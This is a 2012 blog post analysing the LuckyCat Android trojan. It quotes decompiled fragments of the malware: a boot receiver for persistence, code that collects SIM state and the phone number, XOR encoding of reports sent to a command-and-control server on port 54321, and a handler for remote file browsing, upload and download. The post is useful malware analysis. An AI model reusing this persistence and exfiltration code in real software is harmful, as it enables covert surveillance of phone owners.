Friday, 3 August 2012

Lucky Cat is a Threat?

Trend Micro has released report on another Android threat called LuckyCat.

What puts this threat aside is its blunt backdoor functionality that allows it to be used as a remote administration tool, giving the attackers full control over the compromised Android device.

The trojan arrives as a package named com.testService. The APK file name could be AQS.apk or testService.apk. Both samples are almost identical - one has a standard Android icon, another one has an 'empty' icon, as shown below:

Apart from showing a toast message Service Start OK!, LuckyCat does not seem to do much more:

Its main process com.testService will take 1,336 Kb in memory. However, once activated, the trojan registers a broadcast receiver that gets triggered on a BOOT_COMPLETED event:

public synchronized class TServiceBroadcastReceiver extends BroadcastReceiver
    private static final String ACTION = "android.intent.action.BOOT_COMPLETED";
    public TServiceBroadcastReceiver()
    public void onReceive(Context context, Intent intent1)
        ComponentName componentName;
        if (intent1.getAction().equals("android.intent.action.BOOT_COMPLETED"))
            Intent intent2 = new Intent("android.intent.action.RUN");
            Intent intent3 = intent2.setClass(context, TService);
            Intent intent4 = intent2.setFlags(268435456);
            componentName = context.startService(intent2);

Whenever the device boots up, the trojan will launch its own service TService that will run as a process com.testService:remote, taking 1,060 Kb out of RAM.

The trojan reads the state of the device SIM card by calling getSimState() method, as shown below:

public String getPhoneNumber()
   StringBuffer stringBuffer1;
   String string2;
   StringBuffer stringBuffer2;
   StringBuffer stringBuffer3;
   StringBuffer stringBuffer4;
   StringBuffer stringBuffer5;
   StringBuffer stringBuffer6;
   String string1;
   TelephonyManager telephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone");
   stringBuffer1 = new StringBuffer();
   switch (telephonyManager.getSimState())
   case 1:
      stringBuffer2 = stringBuffer1.append("\u65e0\u5361");
      string2 = stringBuffer1.toString();
   case 0:
      stringBuffer3 = stringBuffer1.append("\u672a\u77e5\u72b6\u6001");
      string2 = stringBuffer1.toString();
   case 4:
      stringBuffer4 = stringBuffer1.append("\u9700\u8981NetworkPIN\u89e3\u9501");
      string2 = stringBuffer1.toString();
   case 2:
      stringBuffer5 = stringBuffer1.append("\u9700\u8981PIN\u89e3\u9501");
      string2 = stringBuffer1.toString();
   case 3:
      stringBuffer6 = stringBuffer1.append("\u9700\u8981PUK\u89e3\u9501");
      string2 = stringBuffer1.toString();
      string1 = telephonyManager.getLine1Number();
   return string1;

As shown in the listing above, the reported SIM card states are:

  • 无卡 (No card)

  • 未知状态 (Unknown state)

  • 需要NetworkPIN解锁 (Need Network PIN unlock)

  • 需要PIN解锁 (Require a PIN to unlock)

  • 需要PUK解锁 (Need PUK to unlock)

  • (The phone number string for line 1, e.g. MSISDN for a GSM phone)

Once the data is collected, the trojan tries to send it over to the remote command-and-control server located at, port 54321.

The data is compiled into a report that also contains local IP and MAC addresses. The report is wrapped with the strings ejsi2ksz and 369, and then encrypted on top with a XOR keys 0x05 and 0x27:

public void encryptkey(byte[] paramArrayOfByte, int paramInt1, int paramInt2)
   byte[] arrayOfByte1 = new byte[10240];
   byte[] arrayOfByte2 = new byte[4];
   Arrays.fill(arrayOfByte1, 0, 10240, 0);
   Arrays.fill(arrayOfByte2, 0, 4, 0);
   System.arraycopy(paramArrayOfByte, paramInt1, arrayOfByte1, 0, paramInt2);
   int i = 0;
   if (i >= paramInt2);
   while (true)
      int j = i + 1;
      arrayOfByte2[0] = (byte)(0x5 ^ arrayOfByte1[i]);
      paramArrayOfByte[(-1 + (paramInt1 + j))] = arrayOfByte2[0];
      if (j >= paramInt2)
      i = j + 1;
      arrayOfByte2[1] = (byte)(0x27 ^ arrayOfByte1[j]);
      paramArrayOfByte[(-1 + (paramInt1 + i))] = arrayOfByte2[1];
      if (i < paramInt2)

As soon as the trojan submits the report to command-and-control server, it receives back response from it.

The response is checked to make sure it starts with the marker ejsi2ksz. It is then decrypted by calling the same symmetrical function encryptKey().

The decrypted response is then parsed to see if it contains one out of 5 remote commands:

            case AR_ONLINEREPORT: goto exit;
            case AR_REMOTESHELL: goto exit;
            case AR_DIRBROSOW: goto browse_directory;
            case AR_FILEDOWNLOAD: goto file_download;
            case AR_FILEUPLOAD: goto file_upload;
            default: goto exit;
        socket2 = socket3;
        mDbgMsg("socke close");
        i8 = 0 + 64;
        int j8 = readU16(array_b, i8);
        int k8 = i8 + 2;
        String string3 = new String(Arrays.copyOfRange(array_b, k8, j8 + 66), "UTF-8");
        Arrays.fill(array_b, 64, 10176, 0);
        i9 = GetDirList(string3, array_b, 64);

As seen in the reconstructed source code above, out of 5 remote commands, only 3 are actually implemented:

  • AR_DIRBROSOW: directory browsing, handled by GetDirList()

  • AR_FILEDOWNLOAD: file download, handled by mReadFileDataFun()

  • AR_FILEUPLOAD: file upload, handled by mWriteFileDataFun()

The remaining 2 are defaulting to an 'unrecognised' command:

  • AR_ONLINEREPORT: 'online report' command

  • AR_REMOTESHELL: remote shell execution

The presence of the last 2 commands in the code indicates that the trojan is still in development and is likely to be updated in the future.